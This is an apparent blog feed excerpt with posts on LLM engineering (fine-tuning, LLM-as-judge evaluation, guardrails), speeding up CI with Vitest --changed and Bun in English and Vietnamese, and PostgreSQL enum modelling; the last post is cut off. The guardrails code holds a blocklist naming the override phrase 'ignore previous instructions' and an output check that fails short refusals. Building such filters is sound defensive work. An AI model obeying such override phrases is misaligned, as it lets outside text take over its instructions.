&lt;li&gt;Format specific — output phải đúng format riêng&lt;/li&gt;
&lt;li&gt;Reduce cost/latency — dùng model nhỏ hơn nhưng fine-tuned&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dataset Format&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;[
  {
    &quot;messages&quot;: [
      { &quot;role&quot;: &quot;system&quot;, &quot;content&quot;: &quot;You are a code reviewer.&quot; },
      { &quot;role&quot;: &quot;user&quot;, &quot;content&quot;: &quot;Review: function add(a,b){return a+b}&quot; },
      { &quot;role&quot;: &quot;assistant&quot;, &quot;content&quot;: &quot;**Score**: 8/10\n**Issues**: Missing TypeScript types, no input validation.&quot; }
    ]
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;OpenAI Fine-tuning&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Prepare data
openai tools fine_tunes.prepare_data -f data.jsonl

# Fine-tune
curl -X POST https://api.openai.com/v1/fine_tuning/jobs \
  -H &quot;Authorization: Bearer $OPENAI_API_KEY&quot; \
  -d &apos;{
    &quot;model&quot;: &quot;gpt-4o-mini&quot;,
    &quot;training_file&quot;: &quot;file-abc123&quot;
  }&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Evaluation — Đo Chất Lượng&lt;/h2&gt;
&lt;p&gt;Không có metric tự nhiên như accuracy — cần đánh giá thủ công hoặc dùng LLM-as-judge:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function evaluateResponse(question: string, response: string, expected?: string) {
  const eval = await openai.chat.completions.create({
    model: &apos;gpt-4o&apos;,
    messages: [
      {
        role: &apos;system&apos;,
        content: `Evaluate the response on:
        1. Correctness (1-5)
        2. Relevance (1-5)
        3. Completeness (1-5)
        Return JSON with scores and explanation.`
      },
      {
        role: &apos;user&apos;,
        content: `Question: ${question}\nResponse: ${response}${expected ? `\nExpected: ${expected}` : &apos;&apos;}`
      },
    ],
    response_format: { type: &apos;json_object&apos; },
  });

  return JSON.parse(eval.choices[0].message.content);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Safety &amp;#x26; Guardrails&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Input guard
function validateInput(input: string): boolean {
  const blocked = [&apos;ignore previous instructions&apos;, &apos;system prompt&apos;, ...];
  return !blocked.some(b =&gt; input.toLowerCase().includes(b));
}

// Output guard
function validateOutput(output: string): boolean {
  if (output.includes(&apos;I cannot&apos;) &amp;#x26;&amp;#x26; output.length &amp;#x3C; 50) {
    return false; // Refusal detected
  }
  return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Production Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Prompt versioning (lưu prompt trong Git)&lt;/li&gt;
&lt;li&gt;[ ] Caching responses giống nhau&lt;/li&gt;
&lt;li&gt;[ ] Rate limiting + cost tracking&lt;/li&gt;
&lt;li&gt;[ ] Fallback model (gpt-4o → gpt-4o-mini → cache)&lt;/li&gt;
&lt;li&gt;[ ] Streaming response (UX tốt hơn)&lt;/li&gt;
&lt;li&gt;[ ] Logging prompt + response + latency&lt;/li&gt;
&lt;li&gt;[ ] A/B testing prompt&lt;/li&gt;
&lt;li&gt;[ ] Monitoring hallucination rate&lt;/li&gt;
&lt;li&gt;[ ] RAG chunk quality evaluation&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tools &amp;#x26; Framework&lt;/h2&gt;
&lt;p&gt;| Tool | Purpose |
|---|---|
| LangChain | Framework cho LLM app |
| LlamaIndex | RAG framework |
| Pinecone / Weaviate | Vector database |
| Guardrails AI | Output validation |
| LangFuse / Weights &amp;#x26; Biases | LLM observability |
| Ollama | Local LLM |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;LLM Engineering không chỉ là gọi API. Prompt engineering là kỹ năng cơ bản. RAG cho knowledge base. Fine-tuning cho domain cụ thể. Evaluation là chìa khóa — không có metric, không biết mình đang làm tốt hay không. Bắt đầu với prompt + RAG, fine-tune khi cần.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/&quot;&gt;OpenAI Platform Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://python.langchain.com/docs/&quot;&gt;LangChain Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.llamaindex.ai/&quot;&gt;LlamaIndex Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://langfuse.com/docs&quot;&gt;LangFuse — LLM Observability&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://platform.openai.com/docs/guides/fine-tuning&quot;&gt;OpenAI Fine-tuning Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.pinecone.io/&quot;&gt;Pinecone Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>CI/CD Speed: Vitest `--changed` + GH Actions + Bun</title><link>https://dopana-blog.pages.dev/blog/supercharging-cicd-vitest-changed-github-actions-bun</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/supercharging-cicd-vitest-changed-github-actions-bun</guid><description>Speed up CI/CD with Vitest --changed, GitHub Actions fetch-depth: 0, and Bun Runtime. Run only tests related to changed files and slash CI minutes.</description><pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. The Problem: Why is CI/CD Slow and Costly?&lt;/h2&gt;
&lt;p&gt;By default, standard CI runners typically perform two resource-heavy tasks:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Running the entire test suite: Even if you only change a single line of code in one component file, most traditional CI systems still scan and execute hundreds or thousands of unrelated test cases.&lt;/li&gt;
&lt;li&gt;Shallow checkouts: GitHub Actions defaults to &lt;code&gt;fetch-depth: 1&lt;/code&gt;, meaning it only downloads the absolute latest commit without pulling any Git history. While this makes cloning fast, it leaves tools that need to compare branches (like &lt;code&gt;main&lt;/code&gt; and your current branch) completely &quot;blind.&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. The Solution: Vitest &lt;code&gt;--changed&lt;/code&gt; Meets &lt;code&gt;fetch-depth: 0&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;What is Vitest &lt;code&gt;--changed&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;Vitest provides a remarkably powerful flag called &lt;code&gt;--changed&lt;/code&gt;. When enabled, Vitest automatically detects which files have been modified compared to a base branch (usually &lt;code&gt;main&lt;/code&gt;) and only runs test files directly or indirectly affected by those changes.&lt;/p&gt;
&lt;h3&gt;The Missing Link: Why &lt;code&gt;fetch-depth: 0&lt;/code&gt; is Required&lt;/h3&gt;
&lt;p&gt;Because Vitest relies on Git history to determine file modifications, running a default shallow clone (&lt;code&gt;fetch-depth: 1&lt;/code&gt;) leaves Vitest without the history context required to run comparisons against &lt;code&gt;main&lt;/code&gt;, resulting in errors or skipped filters.&lt;/p&gt;
&lt;p&gt;This is why you must configure &lt;code&gt;actions/checkout&lt;/code&gt; with &lt;code&gt;fetch-depth: 0&lt;/code&gt; to fetch the full Git history so Vitest has the data it needs to cross-reference changes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;- uses: actions/checkout@v4
  with:
    fetch-depth: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Supercharging Speed with Bun Runtime&lt;/h2&gt;
&lt;p&gt;Instead of relying on traditional Node.js alongside npm or yarn, integrating Bun across your entire workflow delivers a massive performance boost:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Installing dependencies (&lt;code&gt;bun install&lt;/code&gt;): Up to 10x to 30x faster than npm.&lt;/li&gt;
&lt;li&gt;Running tests (&lt;code&gt;bun x vitest&lt;/code&gt;): Leverages Bun&apos;s hyper-optimized JavaScript and TypeScript execution speed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. Complete GitHub Actions Workflow Configuration&lt;/h2&gt;
&lt;p&gt;Here is a complete sample workflow file (&lt;code&gt;.github/workflows/ci.yml&lt;/code&gt;) bringing all three elements together:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;name: CI

on:
  pull_request:
    branches: [ main ]
  push:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
          bun-version: latest

      - name: Install dependencies
        run: bun install --frozen-lockfile

      - name: Run Vitest on changed files
        run: bun x vitest run --changed main
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Key Benefits&lt;/h2&gt;
&lt;p&gt;Implementing this setup in your project unlocks immediate advantages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Massive CI time savings: Test execution time for small PRs can drop from minutes down to mere seconds since only relevant test cases run.&lt;/li&gt;
&lt;li&gt;Faster feedback loops: Developers no longer have to wait anxiously to find out if their code passes checks.&lt;/li&gt;
&lt;li&gt;Optimized resource usage: Reduces runner usage time on GitHub Actions, saving costs if you use self-hosted runners or paid minutes.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Optimizing your CI/CD pipeline doesn&apos;t require overly complex architecture. Sometimes, a smart combination of Vitest&apos;s built-in intelligence (&lt;code&gt;--changed&lt;/code&gt;), proper Git history configuration (&lt;code&gt;fetch-depth: 0&lt;/code&gt;), and the raw power of Bun runtime is all it takes to completely transform your development workflow.&lt;/p&gt;
&lt;p&gt;Try implementing this in your next project and experience the speed difference yourself!&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli#changed&quot;&gt;Vitest — --changed Flag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs&quot;&gt;Bun Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/actions/checkout&quot;&gt;actions/checkout — fetch-depth&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oven-sh/setup-bun&quot;&gt;oven-sh/setup-bun Action&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tốc Độ CI/CD: Vitest `--changed` + GH Actions + Bun</title><link>https://dopana-blog.pages.dev/blog/tang-toc-cicd-vitest-changed-github-actions-bun</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/tang-toc-cicd-vitest-changed-github-actions-bun</guid><description>Tối ưu CI/CD với Vitest --changed, GitHub Actions fetch-depth: 0 và Bun Runtime. Chỉ chạy test liên quan đến file thay đổi, tiết kiệm phút chạy CI.</description><pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;1. Bài toán: Tại sao CI/CD lại chậm và tốn kém?&lt;/h2&gt;
&lt;p&gt;Theo mặc định, khi CI chạy, nó thường làm hai việc tốn kém:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Chạy toàn bộ test suite: Dù bạn chỉ sửa một dòng code nhỏ ở một file component, phần lớn các hệ thống CI vẫn quét và chạy hàng trăm, hàng ngàn test case không liên quan.&lt;/li&gt;
&lt;li&gt;Checkout hời hợt (Shallow clone): GitHub Actions mặc định sử dụng &lt;code&gt;fetch-depth: 1&lt;/code&gt;, nghĩa là nó chỉ tải về commit mới nhất mà không kéo theo lịch sử git. Điều này giúp checkout nhanh, nhưng lại làm &quot;mù&quot; các công cụ cần so sánh sự khác biệt giữa các nhánh (như &lt;code&gt;main&lt;/code&gt; và nhánh hiện tại).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. Vũ khí tối ưu: Vitest &lt;code&gt;--changed&lt;/code&gt; kết hợp &lt;code&gt;fetch-depth: 0&lt;/code&gt;&lt;/h2&gt;
&lt;h3&gt;Vitest &lt;code&gt;--changed&lt;/code&gt; là gì?&lt;/h3&gt;
&lt;p&gt;Vitest cung cấp một flag cực kỳ mạnh mẽ là &lt;code&gt;--changed&lt;/code&gt;. Khi được kích hoạt, Vitest sẽ tự động dò xem file nào đã thay đổi so với một nhánh gốc (thường là &lt;code&gt;main&lt;/code&gt;) và chỉ chạy các test file liên quan trực tiếp hoặc gián tiếp đến các file đó.&lt;/p&gt;
&lt;h3&gt;Nút thắt cổ chai: Tại sao cần &lt;code&gt;fetch-depth: 0&lt;/code&gt;?&lt;/h3&gt;
&lt;p&gt;Vì Vitest dựa vào Git history để biết file nào đã thay đổi, nếu GitHub Actions dùng mặc định (&lt;code&gt;fetch-depth: 1&lt;/code&gt;), Vitest sẽ không tìm thấy lịch sử để so sánh với nhánh &lt;code&gt;main&lt;/code&gt; và báo lỗi hoặc không lọc được test.&lt;/p&gt;
&lt;p&gt;Đó là lý do bạn bắt buộc phải cấu hình &lt;code&gt;actions/checkout&lt;/code&gt; với &lt;code&gt;fetch-depth: 0&lt;/code&gt; (tải toàn bộ lịch sử git hoặc đủ sâu) để Vitest có dữ liệu lịch sử mà đối chiếu.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;- uses: actions/checkout@v4
  with:
    fetch-depth: 0
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Siêu nạp tốc độ với Bun Runtime&lt;/h2&gt;
&lt;p&gt;Thay vì dùng Node.js truyền thống cùng npm/yarn, việc tích hợp Bun vào toàn bộ chuỗi quy trình sẽ mang lại một cú hích hiệu suất kinh hoàng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Cài đặt dependencies (bun install): Nhanh hơn từ 10 đến 30 lần so với npm.&lt;/li&gt;
&lt;li&gt;Chạy test (bun x vitest): Tận dụng tốc độ thực thi mã JavaScript/TypeScript tối ưu của Bun.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. Xây dựng cấu hình GitHub Actions hoàn chỉnh&lt;/h2&gt;
&lt;p&gt;Dưới đây là một mẫu file workflow (&lt;code&gt;.github/workflows/ci.yml&lt;/code&gt;) hoàn chỉnh kết hợp cả ba yếu tố trên:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;name: CI

on:
  pull_request:
    branches: [ main ]
  push:
    branches: [ main ]

jobs:
  test:
    runs-on: ubuntu-latest

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Setup Bun
        uses: oven-sh/setup-bun@v2
        with:
          bun-version: latest

      - name: Install dependencies
        run: bun install --frozen-lockfile

      - name: Run Vitest on changed files
        run: bun x vitest run --changed main
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Lợi ích thu được&lt;/h2&gt;
&lt;p&gt;Khi áp dụng mô hình này vào dự án, bạn sẽ thấy rõ các thay đổi tích cực:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tiết kiệm thời gian CI đáng kể: Thời gian chạy test cho một PR nhỏ có thể giảm từ vài phút xuống chỉ còn vài giây, vì chỉ các test case liên quan mới được thực thi.&lt;/li&gt;
&lt;li&gt;Tăng tốc độ feedback: Lập trình viên không phải chờ đợi mòn mỏi để biết code của mình có pass hay không.&lt;/li&gt;
&lt;li&gt;Tối ưu tài nguyên: Giảm tải thời gian sử dụng runner trên GitHub Actions, tiết kiệm chi phí nếu bạn dùng runner riêng hoặc các gói mở rộng.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tổng kết&lt;/h2&gt;
&lt;p&gt;Việc tối ưu hóa CI/CD không đòi hỏi những kiến trúc phức tạp quá tầm. Đôi khi, chỉ bằng cách kết hợp thông minh giữa tính năng thông minh sẵn có của Vitest (&lt;code&gt;--changed&lt;/code&gt;), cấu hình đúng đắn lịch sử Git (&lt;code&gt;fetch-depth: 0&lt;/code&gt;) và sức mạnh của Bun runtime, bạn đã có thể lột xác toàn bộ quy trình phát triển sản phẩm của mình.&lt;/p&gt;
&lt;p&gt;Hãy thử áp dụng ngay vào dự án tiếp theo và cảm nhận sự khác biệt!&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions&quot;&gt;GitHub Actions Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vitest.dev/guide/cli#changed&quot;&gt;Vitest — --changed Flag&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bun.sh/docs&quot;&gt;Bun Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/actions/checkout&quot;&gt;actions/checkout — fetch-depth&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/oven-sh/setup-bun&quot;&gt;oven-sh/setup-bun Action&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>How to Simulate an Enum Using SMALLINT in PostgreSQL</title><link>https://dopana-blog.pages.dev/blog/how-to-simulate-an-enum-using-a-smallint-column-in-postgresql</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/how-to-simulate-an-enum-using-a-smallint-column-in-postgresql</guid><description>Compare PostgreSQL enum strategies: SMALLINT with CHECK, foreign key lookup table, native ENUM, and plain SMALLINT — with trade-offs and recommendations.</description><pubDate>Thu, 23 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When modeling a small set of predefined values in PostgreSQL, you have several options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PostgreSQL&apos;s native &lt;code&gt;ENUM&lt;/code&gt; type&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;SMALLINT&lt;/code&gt; column with a &lt;code&gt;CHECK&lt;/code&gt; constraint&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;SMALLINT&lt;/code&gt; column with a foreign key to a lookup table&lt;/li&gt;
&lt;li&gt;A plain &lt;code&gt;SMALLINT&lt;/code&gt; column validated only by application code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Each approach has different trade-offs in terms of type safety, flexibility, performance, and maintainability.&lt;/p&gt;
&lt;p&gt;This article compares them and explains when to use each one.&lt;/p&gt;
&lt;h2&gt;The Problem&lt;/h2&gt;
&lt;p&gt;Suppose an order can have one of three statuses:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Pending
1 = Paid
2 = Cancelled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We want to store the status efficiently while preventing invalid values such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;99
-1
1234
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The question is: how should we model this in PostgreSQL?&lt;/p&gt;
&lt;h2&gt;Option 1: &lt;code&gt;SMALLINT&lt;/code&gt; with a &lt;code&gt;CHECK&lt;/code&gt; Constraint&lt;/h2&gt;
&lt;p&gt;The simplest approach is to store the enum value as a &lt;code&gt;SMALLINT&lt;/code&gt; and restrict the allowed values with a &lt;code&gt;CHECK&lt;/code&gt; constraint.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        CHECK (status IN (0, 1, 2))
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The application can define the meaning:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Pending
1 = Paid
2 = Cancelled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Invalid values are rejected by PostgreSQL:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (99);
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;ERROR: new row violates check constraint
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Simple&lt;/li&gt;
&lt;li&gt;Efficient&lt;/li&gt;
&lt;li&gt;Fully enforced by the database&lt;/li&gt;
&lt;li&gt;No additional table required&lt;/li&gt;
&lt;li&gt;Easy to query&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM orders
WHERE status = 1;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Disadvantages&lt;/h3&gt;
&lt;p&gt;The meaning of the values is not visible from the column itself:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What does &lt;code&gt;1&lt;/code&gt; mean?&lt;/p&gt;
&lt;p&gt;The application code or documentation must define that.&lt;/p&gt;
&lt;p&gt;Another issue is that changing the allowed values requires modifying the table constraint:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;ALTER TABLE orders
DROP CONSTRAINT orders_status_check;

ALTER TABLE orders
ADD CONSTRAINT orders_status_check
CHECK (status IN (0, 1, 2, 3));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For a small, stable set of values, however, this is often an excellent solution.&lt;/p&gt;
&lt;h2&gt;Option 2: &lt;code&gt;SMALLINT&lt;/code&gt; Without a &lt;code&gt;CHECK&lt;/code&gt; Constraint&lt;/h2&gt;
&lt;p&gt;You can also simply define:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status SMALLINT NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The application defines the values:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;0 = Pending
1 = Paid
2 = Cancelled
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the simplest database schema.&lt;/p&gt;
&lt;h3&gt;Advantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Minimal schema&lt;/li&gt;
&lt;li&gt;No constraint maintenance&lt;/li&gt;
&lt;li&gt;Very flexible&lt;/li&gt;
&lt;li&gt;Very small storage size&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Disadvantages&lt;/h3&gt;
&lt;p&gt;The database accepts every valid &lt;code&gt;SMALLINT&lt;/code&gt; value:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (32767);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This succeeds.&lt;/p&gt;
&lt;p&gt;The database has no idea whether &lt;code&gt;32767&lt;/code&gt; is a valid business status.&lt;/p&gt;
&lt;p&gt;Therefore, this approach relies entirely on application-level validation.&lt;/p&gt;
&lt;p&gt;That can be acceptable when:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is only one application writing to the database&lt;/li&gt;
&lt;li&gt;The database is treated as an internal implementation detail&lt;/li&gt;
&lt;li&gt;Validation is centralized&lt;/li&gt;
&lt;li&gt;You intentionally want the database schema to remain permissive&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, it can become dangerous when multiple services, scripts, or administrators write directly to the database.&lt;/p&gt;
&lt;h2&gt;Option 3: &lt;code&gt;SMALLINT&lt;/code&gt; with a Foreign Key&lt;/h2&gt;
&lt;p&gt;A powerful alternative is to use a lookup table.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Insert the valid statuses:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO order_status (id, name)
VALUES
    (0, &apos;pending&apos;),
    (1, &apos;paid&apos;),
    (2, &apos;cancelled&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then reference the table:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,

    status SMALLINT NOT NULL
        REFERENCES order_status(id)
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now PostgreSQL prevents invalid values:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (99);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This fails because &lt;code&gt;99&lt;/code&gt; does not exist in &lt;code&gt;order_status&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Advantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;No &lt;code&gt;CHECK&lt;/code&gt; constraint&lt;/li&gt;
&lt;li&gt;Database-level validation&lt;/li&gt;
&lt;li&gt;The meaning of each value is stored in the database&lt;/li&gt;
&lt;li&gt;Easy to add metadata&lt;/li&gt;
&lt;li&gt;Easy to extend&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE order_status (
    id SMALLINT PRIMARY KEY,
    name TEXT NOT NULL UNIQUE,
    description TEXT,
    is_active BOOLEAN NOT NULL DEFAULT TRUE,
    sort_order SMALLINT NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now the status table can contain business metadata.&lt;/p&gt;
&lt;h3&gt;Disadvantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Requires an additional table&lt;/li&gt;
&lt;li&gt;Requires a foreign key&lt;/li&gt;
&lt;li&gt;Slightly more complex schema&lt;/li&gt;
&lt;li&gt;Requires managing reference data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is usually the best option when you want a &lt;code&gt;SMALLINT&lt;/code&gt; representation but still want strong database-level validation without using a &lt;code&gt;CHECK&lt;/code&gt; constraint.&lt;/p&gt;
&lt;h2&gt;Option 4: PostgreSQL&apos;s Native &lt;code&gt;ENUM&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;PostgreSQL also provides a native enum type:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TYPE order_status AS ENUM (
    &apos;pending&apos;,
    &apos;paid&apos;,
    &apos;cancelled&apos;
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE TABLE orders (
    id BIGSERIAL PRIMARY KEY,
    status order_status NOT NULL
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The database now understands the valid values directly:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (&apos;paid&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Invalid values are rejected:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;INSERT INTO orders (status)
VALUES (&apos;unknown&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Advantages&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Strong type safety&lt;/li&gt;
&lt;li&gt;Very readable&lt;/li&gt;
&lt;li&gt;Database-enforced validation&lt;/li&gt;
&lt;li&gt;No numeric mapping required&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is easy to understand:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = &apos;paid&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;compared with:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;status = 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Disadvantages&lt;/h3&gt;
&lt;p&gt;PostgreSQL enums can be less flexible when the set of values changes.&lt;/p&gt;
&lt;p&gt;Adding a value is possible:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;ALTER TYPE order_status
ADD VALUE &apos;refunded&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But removing or renaming enum values has historically been more complicated than modifying rows in a lookup table.&lt;/p&gt;
&lt;p&gt;This makes native enums a good choice for values that are truly part of the database&apos;s stable domain model.&lt;/p&gt;
&lt;h2&gt;Comparison&lt;/h2&gt;
&lt;p&gt;| Approach | Database validation | Uses &lt;code&gt;SMALLINT&lt;/code&gt; | Easy to change | Stores meaning in DB | Complexity |
|---|---|---|---|---|---|
| &lt;code&gt;SMALLINT&lt;/code&gt; only | No | Yes | Very easy | No | Low |
| &lt;code&gt;SMALLINT&lt;/code&gt; + &lt;code&gt;CHECK&lt;/code&gt; | Yes | Yes | Moderate | Partially | Low |
